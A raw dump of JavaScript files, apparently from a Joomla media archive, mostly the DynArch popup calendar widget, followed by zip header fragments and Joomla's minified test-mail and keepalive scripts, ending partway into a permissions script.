		cell.colSpan = cs;
		cell.className = "button";
		if (navtype != 0 && Math.abs(navtype) <= 2)
			cell.className += " nav";
		Calendar._add_evs(cell);
		cell.calendar = cal;
		cell.navtype = navtype;
		cell.innerHTML = "<div unselectable='on'>" + text + "</div>";
		return cell;
	};

	row = Calendar.createElement("tr", thead);
	var title_length = 6;
	(this.isPopup) && --title_length;
	(this.weekNumbers) && ++title_length;

	hh("?", 1, 400).ttip = Calendar._TT["INFO"];
	this.title = hh("", title_length, 300);
	this.title.className = "title";
	if (this.isPopup) {
		this.title.ttip = Calendar._TT["DRAG_TO_MOVE"];
		this.title.style.cursor = "move";
		hh("&#x00d7;", 1, 200).ttip = Calendar._TT["CLOSE"];
	}

	row = Calendar.createElement("tr", thead);
	row.className = "headrow";

	this._nav_py = hh("&#x00ab;", 1, -2);
	this._nav_py.ttip = Calendar._TT["PREV_YEAR"];

	this._nav_pm = hh("&#x2039;", 1, -1);
	this._nav_pm.ttip = Calendar._TT["PREV_MONTH"];

	this._nav_now = hh(Calendar._TT["TODAY"], this.weekNumbers ? 4 : 3, 0);
	this._nav_now.ttip = Calendar._TT["GO_TODAY"];

	this._nav_nm = hh("&#x203a;", 1, 1);
	this._nav_nm.ttip = Calendar._TT["NEXT_MONTH"];

	this._nav_ny = hh("&#x00bb;", 1, 2);
	this._nav_ny.ttip = Calendar._TT["NEXT_YEAR"];

	// day names
	row = Calendar.createElement("tr", thead);
	row.className = "daynames";
	if (this.weekNumbers) {
		cell = Calendar.createElement("td", row);
		cell.className = "name wn";
		cell.innerHTML = Calendar._TT["WK"];
	}
	for (var i = 7; i > 0; --i) {
		cell = Calendar.createElement("td", row);
		if (!i) {
			cell.navtype = 100;
			cell.calendar = this;
			Calendar._add_evs(cell);
		}
	}
	this.firstdayname = (this.weekNumbers) ? row.firstChild.nextSibling : row.firstChild;
	this._displayWeekdays();

	var tbody = Calendar.createElement("tbody", table);
	this.tbody = tbody;

	for (i = 6; i > 0; --i) {
		row = Calendar.createElement("tr", tbody);
		if (this.weekNumbers) {
			cell = Calendar.createElement("td", row);
		}
		for (var j = 7; j > 0; --j) {
			cell = Calendar.createElement("td", row);
			cell.calendar = this;
			Calendar._add_evs(cell);
		}
	}

	if (this.showsTime) {
		row = Calendar.createElement("tr", tbody);
		row.className = "time";

		cell = Calendar.createElement("td", row);
		cell.className = "time";
		cell.colSpan = 2;
		cell.innerHTML = Calendar._TT["TIME"] || "&#160;";

		cell = Calendar.createElement("td", row);
		cell.className = "time";
		cell.colSpan = this.weekNumbers ? 4 : 3;

		(function(){
			function makeTimePart(className, init, range_start, range_end) {
				var part = Calendar.createElement("span", cell);
				part.className = className;
				part.innerHTML = init;
				part.calendar = cal;
				part.ttip = Calendar._TT["TIME_PART"];
				part.navtype = 50;
				part._range = [];
				if (typeof range_start != "number")
					part._range = range_start;
				else {
					for (var i = range_start; i <= range_end; ++i) {
						var txt;
						if (i < 10 && range_end >= 10) txt = '0' + i;
						else txt = '' + i;
						part._range[part._range.length] = txt;
					}
				}
				Calendar._add_evs(part);
				return part;
			};
			var hrs = cal.date.getHours();
			var mins = cal.date.getMinutes();
			var t12 = !cal.time24;
			var pm = (hrs > 12);
			if (t12 && pm) hrs -= 12;
			var H = makeTimePart("hour", hrs, t12 ? 1 : 0, t12 ? 12 : 23);
			var span = Calendar.createElement("span", cell);
			span.innerHTML = ":";
			span.className = "colon";
			var M = makeTimePart("minute", mins, 0, 59);
			var AP = null;
			cell = Calendar.createElement("td", row);
			cell.className = "time";
			cell.colSpan = 2;
			if (t12)
				AP = makeTimePart("ampm", pm ? "pm" : "am", ["am", "pm"]);
			else
				cell.innerHTML = "&#160;";

			cal.onSetTime = function() {
				var pm, hrs = this.date.getHours(),
					mins = this.date.getMinutes();
				if (t12) {
					pm = (hrs >= 12);
					if (pm) hrs -= 12;
					if (hrs == 0) hrs = 12;
					AP.innerHTML = pm ? "pm" : "am";
				}
				H.innerHTML = (hrs < 10) ? ("0" + hrs) : hrs;
				M.innerHTML = (mins < 10) ? ("0" + mins) : mins;
			};

			cal.onUpdateTime = function() {
				var date = this.date;
				var h = parseInt(H.innerHTML, 10);
				if (t12) {
					if (/pm/i.test(AP.innerHTML) && h < 12)
						h += 12;
					else if (/am/i.test(AP.innerHTML) && h == 12)
						h = 0;
				}
				var d = date.getDate();
				var m = date.getMonth();
				var y = date.getFullYear();
				date.setHours(h);
				date.setMinutes(parseInt(M.innerHTML, 10));
				date.setFullYear(y);
				date.setMonth(m);
				date.setDate(d);
				this.dateClicked = false;
				this.callHandler();
			};
		})();
	} else {
		this.onSetTime = this.onUpdateTime = function() {};
	}

	var tfoot = Calendar.createElement("tfoot", table);

	row = Calendar.createElement("tr", tfoot);
	row.className = "footrow";

	cell = hh(Calendar._TT["SEL_DATE"], this.weekNumbers ? 8 : 7, 300);
	cell.className = "ttip";
	if (this.isPopup) {
		cell.ttip = Calendar._TT["DRAG_TO_MOVE"];
		cell.style.cursor = "move";
	}
	this.tooltips = cell;

	div = Calendar.createElement("div", this.element);
	this.monthsCombo = div;
	div.className = "combo";
	for (i = 0; i < Calendar._MN.length; ++i) {
		var mn = Calendar.createElement("div");
		mn.className = Calendar.is_ie ? "label-IEfix" : "label";
		mn.month = i;
		mn.innerHTML = Calendar._SMN[i];
		div.appendChild(mn);
	}

	div = Calendar.createElement("div", this.element);
	this.yearsCombo = div;
	div.className = "combo";
	for (i = 12; i > 0; --i) {
		var yr = Calendar.createElement("div");
		yr.className = Calendar.is_ie ? "label-IEfix" : "label";
		div.appendChild(yr);
	}

	this._init(this.firstDayOfWeek, this.date);
	parent.appendChild(this.element);
};

/** keyboard navigation, only for popup calendars */
Calendar._keyEvent = function(ev) {
	var cal = window._dynarch_popupCalendar;
	if (!cal || cal.multiple)
		return false;
	(Calendar.is_ie) && (ev = window.event);
	var act = (Calendar.is_ie || ev.type == "keypress"),
		K = ev.keyCode;
	if (ev.ctrlKey) {
		switch (K) {
		    case 37: // KEY left
			act && Calendar.cellClick(cal._nav_pm);
			break;
		    case 38: // KEY up
			act && Calendar.cellClick(cal._nav_py);
			break;
		    case 39: // KEY right
			act && Calendar.cellClick(cal._nav_nm);
			break;
		    case 40: // KEY down
			act && Calendar.cellClick(cal._nav_ny);
			break;
		    default:
			return false;
		}
	} else switch (K) {
	    case 32: // KEY space (now)
		Calendar.cellClick(cal._nav_now);
		break;
	    case 27: // KEY esc
		act && cal.callCloseHandler();
		break;
	    case 37: // KEY left
	    case 38: // KEY up
	    case 39: // KEY right
	    case 40: // KEY down
		if (act) {
			var prev, x, y, ne, el, step;
			prev = K == 37 || K == 38;
			step = (K == 37 || K == 39) ? 1 : 7;
			function setVars() {
				el = cal.currentDateEl;
				var p = el.pos;
				x = p & 15;
				y = p >> 4;
				ne = cal.ar_days[y][x];
			};setVars();
			function prevMonth() {
				var date = new Date(cal.date);
				date.setDate(date.getDate() - step);
				cal.setDate(date);
			};
			function nextMonth() {
				var date = new Date(cal.date);
				date.setDate(date.getDate() + step);
				cal.setDate(date);
			};
			while (1) {
				switch (K) {
				    case 37: // KEY left
					if (--x >= 0)
						ne = cal.ar_days[y][x];
					else {
						x = 6;
						K = 38;
						continue;
					}
					break;
				    case 38: // KEY up
					if (--y >= 0)
						ne = cal.ar_days[y][x];
					else {
						prevMonth();
						setVars();
					}
					break;
				    case 39: // KEY right
					if (++x < 7)
						ne = cal.ar_days[y][x];
					else {
						x = 0;
						K = 40;
						continue;
					}
					break;
				    case 40: // KEY down
					if (++y < cal.ar_days.length)
						ne = cal.ar_days[y][x];
					else {
						nextMonth();
						setVars();
					}
					break;
				}
				break;
			}
			if (ne) {
				if (!ne.disabled)
					Calendar.cellClick(ne);
				else if (prev)
					prevMonth();
				else
					nextMonth();
			}
		}
		break;
	    case 13: // KEY enter
		if (act)
			Calendar.cellClick(cal.currentDateEl, ev);
		break;
	    default:
		return false;
	}
	return Calendar.stopEvent(ev);
};

/**
 *  (RE)Initializes the calendar to the given date and firstDayOfWeek
 */
Calendar.prototype._init = function (firstDayOfWeek, date) {
	var today = new Date(),
		TY = today.getFullYear(),
		TM = today.getMonth(),
		TD = today.getDate();
	this.table.style.visibility = "hidden";
	var year = date.getFullYear();
	if (year < this.minYear) {
		year = this.minYear;
		date.setFullYear(year);
	} else if (year > this.maxYear) {
		year = this.maxYear;
		date.setFullYear(year);
	}
	this.firstDayOfWeek = firstDayOfWeek;
	this.date = new Date(date);
	var month = date.getMonth();
	var mday = date.getDate();
	var no_days = date.getMonthDays();

	// calendar voodoo for computing the first day that would actually be
	// displayed in the calendar, even if it's from the previous month.
	// WARNING: this is magic. ;-)
	date.setDate(1);
	var day1 = (date.getDay() - this.firstDayOfWeek) % 7;
	if (day1 < 0)
		day1 += 7;
	date.setDate(-day1);
	date.setDate(date.getDate() + 1);

	var row = this.tbody.firstChild;
	var MN = Calendar._SMN[month];
	var ar_days = this.ar_days = new Array();
	var weekend = Calendar._TT["WEEKEND"];
	var dates = this.multiple ? (this.datesCells = {}) : null;
	for (var i = 0; i < 6; ++i, row = row.nextSibling) {
		var cell = row.firstChild;
		if (this.weekNumbers) {
			cell.className = "day wn";
			cell.innerHTML = date.getWeekNumber();
			cell = cell.nextSibling;
		}
		row.className = "daysrow";
		var hasdays = false, iday, dpos = ar_days[i] = [];
		for (var j = 0; j < 7; ++j, cell = cell.nextSibling, date.setDate(iday + 1)) {
			iday = date.getDate();
			var wday = date.getDay();
			cell.className = "day";
			cell.pos = i << 4 | j;
			dpos[j] = cell;
			var current_month = (date.getMonth() == month);
			if (!current_month) {
				if (this.showsOtherMonths) {
					cell.className += " othermonth";
					cell.otherMonth = true;
				} else {
					cell.className = "emptycell";
					cell.innerHTML = "&#160;";
					cell.disabled = true;
					continue;
				}
			} else {
				cell.otherMonth = false;
				hasdays = true;
			}
			cell.disabled = false;
			cell.innerHTML = this.getDateText ? this.getDateText(date, iday) : iday;
			if (dates)
				dates[date.print("%Y%m%d")] = cell;
			if (this.getDateStatus) {
				var status = this.getDateStatus(date, year, month, iday);
				if (status === true) {
					cell.className += " disabled";
					cell.disabled = true;
				} else {
					if (/disabled/i.test(status))
						cell.disabled = true;
					cell.className += " " + status;
				}
			}
			if (!cell.disabled) {
				cell.caldate = new Date(date);
				cell.ttip = "_";
				if (!this.multiple && current_month
				    && iday == mday && this.hiliteToday) {
					cell.className += " selected";
					this.currentDateEl = cell;
				}
				if (date.getFullYear() == TY &&
				    date.getMonth() == TM &&
				    iday == TD) {
					cell.className += " today";
					cell.ttip += Calendar._TT["PART_TODAY"];
				}
				if (weekend.indexOf(wday.toString()) != -1)
					cell.className += cell.otherMonth ? " oweekend" : " weekend";
			}
		}
		if (!(hasdays || this.showsOtherMonths))
			row.className = "emptyrow";
	}
	this.title.innerHTML = Calendar._MN[month] + ", " + year;
	this.onSetTime();
	this.table.style.visibility = "visible";
	this._initMultipleDates();
	// PROFILE
	// this.tooltips.innerHTML = "Generated in " + ((new Date()) - today) + " ms";
};

Calendar.prototype._initMultipleDates = function() {
	if (this.multiple) {
		for (var i in this.multiple) {
			var cell = this.datesCells[i];
			var d = this.multiple[i];
			if (!d)
				continue;
			if (cell)
				cell.className += " selected";
		}
	}
};

Calendar.prototype._toggleMultipleDate = function(date) {
	if (this.multiple) {
		var ds = date.print("%Y%m%d");
		var cell = this.datesCells[ds];
		if (cell) {
			var d = this.multiple[ds];
			if (!d) {
				Calendar.addClass(cell, "selected");
				this.multiple[ds] = date;
			} else {
				Calendar.removeClass(cell, "selected");
				delete this.multiple[ds];
			}
		}
	}
};

Calendar.prototype.setDateToolTipHandler = function (unaryFunction) {
	this.getDateToolTip = unaryFunction;
};

/**
 *  Calls _init function above for going to a certain date (but only if the
 *  date is different than the currently selected one).
 */
Calendar.prototype.setDate = function (date) {
	if (!date.equalsTo(this.date)) {
		this._init(this.firstDayOfWeek, date);
	}
};

/**
 *  Refreshes the calendar.  Useful if the "disabledHandler" function is
 *  dynamic, meaning that the list of disabled date can change at runtime.
 *  Just * call this function if you think that the list of disabled dates
 *  should * change.
 */
Calendar.prototype.refresh = function () {
	this._init(this.firstDayOfWeek, this.date);
};

/** Modifies the "firstDayOfWeek" parameter (pass 0 for Synday, 1 for Monday, etc.). */
Calendar.prototype.setFirstDayOfWeek = function (firstDayOfWeek) {
	this._init(firstDayOfWeek, this.date);
	this._displayWeekdays();
};

/**
 *  Allows customization of what dates are enabled.  The "unaryFunction"
 *  parameter must be a function object that receives the date (as a JS Date
 *  object) and returns a boolean value.  If the returned value is true then
 *  the passed date will be marked as disabled.
 */
Calendar.prototype.setDateStatusHandler = Calendar.prototype.setDisabledHandler = function (unaryFunction) {
	this.getDateStatus = unaryFunction;
};

/** Customization of allowed year range for the calendar. */
Calendar.prototype.setRange = function (a, z) {
	this.minYear = a;
	this.maxYear = z;
};

/** Calls the first user handler (selectedHandler). */
Calendar.prototype.callHandler = function () {
	if (this.onSelected) {
		this.onSelected(this, this.date.print(this.dateFormat));
	}
};

/** Calls the second user handler (closeHandler). */
Calendar.prototype.callCloseHandler = function () {
	if (this.onClose) {
		this.onClose(this);
	}
	this.hideShowCovered();
};

/** Removes the calendar object from the DOM tree and destroys it. */
Calendar.prototype.destroy = function () {
	var el = this.element.parentNode;
	el.removeChild(this.element);
	Calendar._C = null;
	window._dynarch_popupCalendar = null;
};

/**
 *  Moves the calendar element to a different section in the DOM tree (changes
 *  its parent).
 */
Calendar.prototype.reparent = function (new_parent) {
	var el = this.element;
	el.parentNode.removeChild(el);
	new_parent.appendChild(el);
};

// This gets called when the user presses a mouse button anywhere in the
// document, if the calendar is shown.  If the click was outside the open
// calendar this function closes it.
Calendar._checkCalendar = function(ev) {
	var calendar = window._dynarch_popupCalendar;
	if (!calendar) {
		return false;
	}
	var el = Calendar.is_ie ? Calendar.getElement(ev) : Calendar.getTargetElement(ev);
	for (; el != null && el != calendar.element; el = el.parentNode);
	if (el == null) {
		// calls closeHandler which should hide the calendar.
		window._dynarch_popupCalendar.callCloseHandler();
		return Calendar.stopEvent(ev);
	}
};

/** Shows the calendar. */
Calendar.prototype.show = function () {
	var rows = this.table.getElementsByTagName("tr");
	for (var i = rows.length; i > 0;) {
		var row = rows[--i];
		Calendar.removeClass(row, "rowhilite");
		var cells = row.getElementsByTagName("td");
		for (var j = cells.length; j > 0;) {
			var cell = cells[--j];
			Calendar.removeClass(cell, "hilite");
			Calendar.removeClass(cell, "active");
		}
	}
	this.element.style.display = "block";
	this.hidden = false;
	if (this.isPopup) {
		window._dynarch_popupCalendar = this;
		Calendar.addEvent(document, "keydown", Calendar._keyEvent);
		Calendar.addEvent(document, "keypress", Calendar._keyEvent);
		Calendar.addEvent(document, "mousedown", Calendar._checkCalendar);
	}
	this.hideShowCovered();
};

/**
 *  Hides the calendar.  Also removes any "hilite" from the class of any TD
 *  element.
 */
Calendar.prototype.hide = function () {
	if (this.isPopup) {
		Calendar.removeEvent(document, "keydown", Calendar._keyEvent);
		Calendar.removeEvent(document, "keypress", Calendar._keyEvent);
		Calendar.removeEvent(document, "mousedown", Calendar._checkCalendar);
	}
	this.element.style.display = "none";
	this.hidden = true;
	this.hideShowCovered();
};

/**
 *  Shows the calendar at a given absolute position (beware that, depending on
 *  the calendar element style -- position property -- this might be relative
 *  to the parent's containing rectangle).
 */
Calendar.prototype.showAt = function (x, y) {
	var s = this.element.style;
	s.left = x + "px";
	s.top = y + "px";
	this.show();
};

/** Shows the calendar near a given element. */
Calendar.prototype.showAtElement = function (el, opts) {
	var self = this;
	var p = Calendar.getAbsolutePos(el);
	if (!opts || typeof opts != "string") {
		this.showAt(p.x, p.y + el.offsetHeight);
		return true;
	}
	function fixPosition(box) {
		if (box.x < 0)
			box.x = 0;
		if (box.y < 0)
			box.y = 0;
		var cp = document.createElement("div");
		var s = cp.style;
		s.position = "absolute";
		s.right = s.bottom = s.width = s.height = "0px";
		document.body.appendChild(cp);
		var br = Calendar.getAbsolutePos(cp);
		document.body.removeChild(cp);
		if (Calendar.is_ie) {
			br.y += document.body.scrollTop;
			br.x += document.body.scrollLeft;
			br.y += (document.documentElement && document.documentElement.scrollTop) || document.body.scrollTop;
			br.x += (document.documentElement && document.documentElement.scrollLeft) || document.body.scrollLeft;
		} else {
			br.y += window.scrollY;
			br.x += window.scrollX;
		}
		var tmp = box.x + box.width - br.x;
		if (tmp > 0) box.x -= tmp;
		tmp = box.y + box.height - br.y;
		if (tmp > 0) box.y -= tmp;
	};
	this.element.style.display = "block";
	Calendar.continuation_for_the_khtml_browser = function() {
		var w = self.element.offsetWidth;
		var h = self.element.offsetHeight;
		self.element.style.display = "none";
		var valign = opts.substr(0, 1);
		var halign = "l";
		if (opts.length > 1) {
			halign = opts.substr(1, 1);
		}
		// vertical alignment
		switch (valign) {
		    case "T": p.y -= h; break;
		    case "B": p.y += el.offsetHeight; break;
		    case "C": p.y += (el.offsetHeight - h) / 2; break;
		    case "t": p.y += el.offsetHeight - h; break;
		    case "b": break; // already there
		}
		// horizontal alignment
		switch (halign) {
		    case "L": p.x -= w; break;
		    case "R": p.x += el.offsetWidth; break;
		    case "C": p.x += (el.offsetWidth - w) / 2; break;
		    case "l": p.x += el.offsetWidth - w; break;
		    case "r": break; // already there
		}
		p.width = w;
		p.height = h + 40;
		self.monthsCombo.style.display = "none";
		fixPosition(p);
		self.showAt(p.x, p.y);
	};
	if (Calendar.is_khtml)
		setTimeout("Calendar.continuation_for_the_khtml_browser()", 10);
	else
		Calendar.continuation_for_the_khtml_browser();
};

/** Customizes the date format. */
Calendar.prototype.setDateFormat = function (str) {
	this.dateFormat = str;
};

/** Customizes the tooltip date format. */
Calendar.prototype.setTtDateFormat = function (str) {
	this.ttDateFormat = str;
};

/**
 *  Tries to identify the date represented in a string.  If successful it also
 *  calls this.setDate which moves the calendar to the given date.
 */
Calendar.prototype.parseDate = function(str, fmt) {
	if (!fmt)
		fmt = this.dateFormat;
	this.setDate(Date.parseDate(str, fmt));
};

Calendar.prototype.hideShowCovered = function () {
	if (!Calendar.is_ie && !Calendar.is_opera)
		return;
	function getVisib(obj){
		var value = obj.style.visibility;
		if (!value) {
			if (document.defaultView && typeof (document.defaultView.getComputedStyle) == "function") { // Gecko, W3C
				if (!Calendar.is_khtml)
					value = document.defaultView.
						getComputedStyle(obj, "").getPropertyValue("visibility");
				else
					value = '';
			} else if (obj.currentStyle) { // IE
				value = obj.currentStyle.visibility;
			} else
				value = '';
		}
		return value;
	};

	var tags = new Array("applet", "iframe", "select");
	var el = this.element;

	var p = Calendar.getAbsolutePos(el);
	var EX1 = p.x;
	var EX2 = el.offsetWidth + EX1;
	var EY1 = p.y;
	var EY2 = el.offsetHeight + EY1;

	for (var k = tags.length; k > 0; ) {
		var ar = document.getElementsByTagName(tags[--k]);
		var cc = null;

		for (var i = ar.length; i > 0;) {
			cc = ar[--i];

			p = Calendar.getAbsolutePos(cc);
			var CX1 = p.x;
			var CX2 = cc.offsetWidth + CX1;
			var CY1 = p.y;
			var CY2 = cc.offsetHeight + CY1;

			if (this.hidden || (CX1 > EX2) || (CX2 < EX1) || (CY1 > EY2) || (CY2 < EY1)) {
				if (!cc.__msh_save_visibility) {
					cc.__msh_save_visibility = getVisib(cc);
				}
				cc.style.visibility = cc.__msh_save_visibility;
			} else {
				if (!cc.__msh_save_visibility) {
					cc.__msh_save_visibility = getVisib(cc);
				}
				cc.style.visibility = "hidden";
			}
		}
	}
};

/** Internal function; it displays the bar with the names of the weekday. */
Calendar.prototype._displayWeekdays = function () {
	var fdow = this.firstDayOfWeek;
	var cell = this.firstdayname;
	var weekend = Calendar._TT["WEEKEND"];
	for (var i = 0; i < 7; ++i) {
		cell.className = "day name";
		var realday = (i + fdow) % 7;
		if (i) {
			cell.ttip = Calendar._TT["DAY_FIRST"].replace("%s", Calendar._DN[realday]);
			cell.navtype = 100;
			cell.calendar = this;
			cell.fdow = realday;
			Calendar._add_evs(cell);
		}
		if (weekend.indexOf(realday.toString()) != -1) {
			Calendar.addClass(cell, "weekend");
		}
		cell.innerHTML = Calendar._SDN[(i + fdow) % 7];
		cell = cell.nextSibling;
	}
};

/** Internal function.  Hides all combo boxes that might be displayed. */
Calendar.prototype._hideCombos = function () {
	this.monthsCombo.style.display = "none";
	this.yearsCombo.style.display = "none";
};

/** Internal function.  Starts dragging the element. */
Calendar.prototype._dragStart = function (ev) {
	if (this.dragging) {
		return;
	}
	this.dragging = true;
	var posX;
	var posY;
	if (Calendar.is_ie) {
		posY = window.event.clientY + document.body.scrollTop;
		posX = window.event.clientX + document.body.scrollLeft;
	} else {
		posY = ev.clientY + window.scrollY;
		posX = ev.clientX + window.scrollX;
	}
	var st = this.element.style;
	this.xOffs = posX - parseInt(st.left);
	this.yOffs = posY - parseInt(st.top);
	with (Calendar) {
		addEvent(document, "mousemove", calDragIt);
		addEvent(document, "mouseup", calDragEnd);
	}
};

// BEGIN: DATE OBJECT PATCHES

/** Adds the number of days array to the Date object. */
Date._MD = new Array(31,28,31,30,31,30,31,31,30,31,30,31);

/** Constants used for time computations */
Date.SECOND = 1000 /* milliseconds */;
Date.MINUTE = 60 * Date.SECOND;
Date.HOUR   = 60 * Date.MINUTE;
Date.DAY    = 24 * Date.HOUR;
Date.WEEK   =  7 * Date.DAY;

Date.parseDate = function(str, fmt) {
	var today = new Date();
	var y = 0;
	var m = -1;
	var d = 0;
	var a = str.split(/\W+/);
	var b = fmt.match(/%./g);
	var i = 0, j = 0;
	var hr = 0;
	var min = 0;
	for (i = 0; i < a.length; ++i) {
		if (!a[i])
			continue;
		switch (b[i]) {
		    case "%d":
		    case "%e":
			d = parseInt(a[i], 10);
			break;

		    case "%m":
			m = parseInt(a[i], 10) - 1;
			break;

		    case "%Y":
		    case "%y":
			y = parseInt(a[i], 10);
			(y < 100) && (y += (y > 29) ? 1900 : 2000);
			break;

		    case "%b":
		    case "%B":
			for (j = 0; j < 12; ++j) {
				if (Calendar._MN[j].substr(0, a[i].length).toLowerCase() == a[i].toLowerCase()) { m = j; break; }
			}
			break;

		    case "%H":
		    case "%I":
		    case "%k":
		    case "%l":
			hr = parseInt(a[i], 10);
			break;

		    case "%P":
		    case "%p":
			if (/pm/i.test(a[i]) && hr < 12)
				hr += 12;
			else if (/am/i.test(a[i]) && hr >= 12)
				hr -= 12;
			break;

		    case "%M":
			min = parseInt(a[i], 10);
			break;
		}
	}
	if (isNaN(y)) y = today.getFullYear();
	if (isNaN(m)) m = today.getMonth();
	if (isNaN(d)) d = today.getDate();
	if (isNaN(hr)) hr = today.getHours();
	if (isNaN(min)) min = today.getMinutes();
	if (y != 0 && m != -1 && d != 0)
		return new Date(y, m, d, hr, min, 0);
	y = 0; m = -1; d = 0;
	for (i = 0; i < a.length; ++i) {
		if (a[i].search(/[a-zA-Z]+/) != -1) {
			var t = -1;
			for (j = 0; j < 12; ++j) {
				if (Calendar._MN[j].substr(0, a[i].length).toLowerCase() == a[i].toLowerCase()) { t = j; break; }
			}
			if (t != -1) {
				if (m != -1) {
					d = m+1;
				}
				m = t;
			}
		} else if (parseInt(a[i], 10) <= 12 && m == -1) {
			m = a[i]-1;
		} else if (parseInt(a[i], 10) > 31 && y == 0) {
			y = parseInt(a[i], 10);
			(y < 100) && (y += (y > 29) ? 1900 : 2000);
		} else if (d == 0) {
			d = a[i];
		}
	}
	if (y == 0)
		y = today.getFullYear();
	if (m != -1 && d != 0)
		return new Date(y, m, d, hr, min, 0);
	return today;
};

/** Returns the number of days in the current month */
Date.prototype.getMonthDays = function(month) {
	var year = this.getFullYear();
	if (typeof month == "undefined") {
		month = this.getMonth();
	}
	if (((0 == (year%4)) && ( (0 != (year%100)) || (0 == (year%400)))) && month == 1) {
		return 29;
	} else {
		return Date._MD[month];
	}
};

/** Returns the number of day in the year. */
Date.prototype.getDayOfYear = function() {
	var now = new Date(this.getFullYear(), this.getMonth(), this.getDate(), 0, 0, 0);
	var then = new Date(this.getFullYear(), 0, 0, 0, 0, 0);
	var time = now - then;
	return Math.floor(time / Date.DAY);
};

/** Returns the number of the week in year, as defined in ISO 8601. */
Date.prototype.getWeekNumber = function() {
	var d = new Date(this.getFullYear(), this.getMonth(), this.getDate(), 0, 0, 0);
	var DoW = d.getDay();
	d.setDate(d.getDate() - (DoW + 6) % 7 + 3); // Nearest Thu
	var ms = d.valueOf(); // GMT
	d.setMonth(0);
	d.setDate(4); // Thu in Week 1
	return Math.round((ms - d.valueOf()) / (7 * 864e5)) + 1;
};

/** Checks date and time equality */
Date.prototype.equalsTo = function(date) {
	return ((this.getFullYear() == date.getFullYear()) &&
		(this.getMonth() == date.getMonth()) &&
		(this.getDate() == date.getDate()) &&
		(this.getHours() == date.getHours()) &&
		(this.getMinutes() == date.getMinutes()));
};

/** Set only the year, month, date parts (keep existing time) */
Date.prototype.setDateOnly = function(date) {
	var tmp = new Date(date);
	this.setDate(1);
	this.setFullYear(tmp.getFullYear());
	this.setMonth(tmp.getMonth());
	this.setDate(tmp.getDate());
};

/** Prints the date in a string according to the given format. */
Date.prototype.print = function (str) {
	var m = this.getMonth();
	var d = this.getDate();
	var y = this.getFullYear();
	var wn = this.getWeekNumber();
	var w = this.getDay();
	var s = {};
	var hr = this.getHours();
	var pm = (hr >= 12);
	var ir = (pm) ? (hr - 12) : hr;
	var dy = this.getDayOfYear();
	if (ir == 0)
		ir = 12;
	var min = this.getMinutes();
	var sec = this.getSeconds();
	s["%a"] = Calendar._SDN[w]; // abbreviated weekday name [FIXME: I18N]
	s["%A"] = Calendar._DN[w]; // full weekday name
	s["%b"] = Calendar._SMN[m]; // abbreviated month name [FIXME: I18N]
	s["%B"] = Calendar._MN[m]; // full month name
	// FIXME: %c : preferred date and time representation for the current locale
	s["%C"] = 1 + Math.floor(y / 100); // the century number
	s["%d"] = (d < 10) ? ("0" + d) : d; // the day of the month (range 01 to 31)
	s["%e"] = d; // the day of the month (range 1 to 31)
	// FIXME: %D : american date style: %m/%d/%y
	// FIXME: %E, %F, %G, %g, %h (man strftime)
	s["%H"] = (hr < 10) ? ("0" + hr) : hr; // hour, range 00 to 23 (24h format)
	s["%I"] = (ir < 10) ? ("0" + ir) : ir; // hour, range 01 to 12 (12h format)
	s["%j"] = (dy < 100) ? ((dy < 10) ? ("00" + dy) : ("0" + dy)) : dy; // day of the year (range 001 to 366)
	s["%k"] = hr;		// hour, range 0 to 23 (24h format)
	s["%l"] = ir;		// hour, range 1 to 12 (12h format)
	s["%m"] = (m < 9) ? ("0" + (1+m)) : (1+m); // month, range 01 to 12
	s["%M"] = (min < 10) ? ("0" + min) : min; // minute, range 00 to 59
	s["%n"] = "\n";		// a newline character
	s["%p"] = pm ? "PM" : "AM";
	s["%P"] = pm ? "pm" : "am";
	// FIXME: %r : the time in am/pm notation %I:%M:%S %p
	// FIXME: %R : the time in 24-hour notation %H:%M
	s["%s"] = Math.floor(this.getTime() / 1000);
	s["%S"] = (sec < 10) ? ("0" + sec) : sec; // seconds, range 00 to 59
	s["%t"] = "\t";		// a tab character
	// FIXME: %T : the time in 24-hour notation (%H:%M:%S)
	s["%U"] = s["%W"] = s["%V"] = (wn < 10) ? ("0" + wn) : wn;
	s["%u"] = w + 1;	// the day of the week (range 1 to 7, 1 = MON)
	s["%w"] = w;		// the day of the week (range 0 to 6, 0 = SUN)
	// FIXME: %x : preferred date representation for the current locale without the time
	// FIXME: %X : preferred time representation for the current locale without the date
	s["%y"] = ('' + y).substr(2, 2); // year without the century (range 00 to 99)
	s["%Y"] = y;		// year with the century
	s["%%"] = "%";		// a literal '%' character

	var re = /%./g;
	if (!Calendar.is_ie5 && !Calendar.is_khtml)
		return str.replace(re, function (par) { return s[par] || par; });

	var a = str.match(re);
	for (var i = 0; i < a.length; i++) {
		var tmp = s[a[i]];
		if (tmp) {
			re = new RegExp(a[i], 'g');
			str = str.replace(re, tmp);
		}
	}

	return str;
};

// END: DATE OBJECT PATCHES


// global object that remembers the calendar
window._dynarch_popupCalendar = null;
PK!��hjs/sendtestmail.jsnu�[���var sendTestMail=function(){$=jQuery;var e={smtpauth:$('input[name="jform[smtpauth]"]:checked').val(),smtpuser:$('input[name="jform[smtpuser]"]').val(),smtphost:$('input[name="jform[smtphost]"]').val(),smtpsecure:$('select[name="jform[smtpsecure]"]').val(),smtpport:$('input[name="jform[smtpport]"]').val(),mailfrom:$('input[name="jform[mailfrom]"]').val(),fromname:$('input[name="jform[fromname]"]').val(),mailer:$('select[name="jform[mailer]"]').val(),mailonline:$('input[name="jform[mailonline]"]:checked').val()},a=$('input[name="jform[smtppass]"]');!1===a.is(":disabled")&&(e.smtppass=a.val()),Joomla.removeMessages(),$.ajax({method:"POST",url:document.getElementById("sendtestmail").getAttribute("data-ajaxuri"),data:e,dataType:"json"}).fail(function(e,a,s){Joomla.renderMessages(Joomla.ajaxErrorsMessages(e,a,s)),window.scrollTo(0,0)}).done(function(e){"object"==typeof e.messages&&null!==e.messages&&(Joomla.renderMessages(e.messages),window.scrollTo(0,0))})};jQuery(document).ready(function(e){e("#sendtestmail").click(sendTestMail)});
PK!�����js/keepalive.jsnu�[���!function(){"use strict";document.addEventListener("DOMContentLoaded",function(){var o=Joomla.getOptions("system.keepalive"),n=o&&o.uri?o.uri.replace(/&amp;/g,"&"):"",t=o&&o.interval?o.interval:45e3;if(""===n){var e=Joomla.getOptions("system.paths");n=(e?e.root+"/index.php":window.location.pathname)+"?option=com_ajax&format=json"}window.setInterval(function(){Joomla.request({url:n,onSuccess:function(){},onError:function(){}})},t)})}(window,document,Joomla);
PK!U�k�
�
js/permissions-uncompressed.jsnu�[���/**
 * Function to send Permissions via Ajax to Com-Config Application Controller
 */
function sendPermissions(event) {
	// set the icon while storing the values
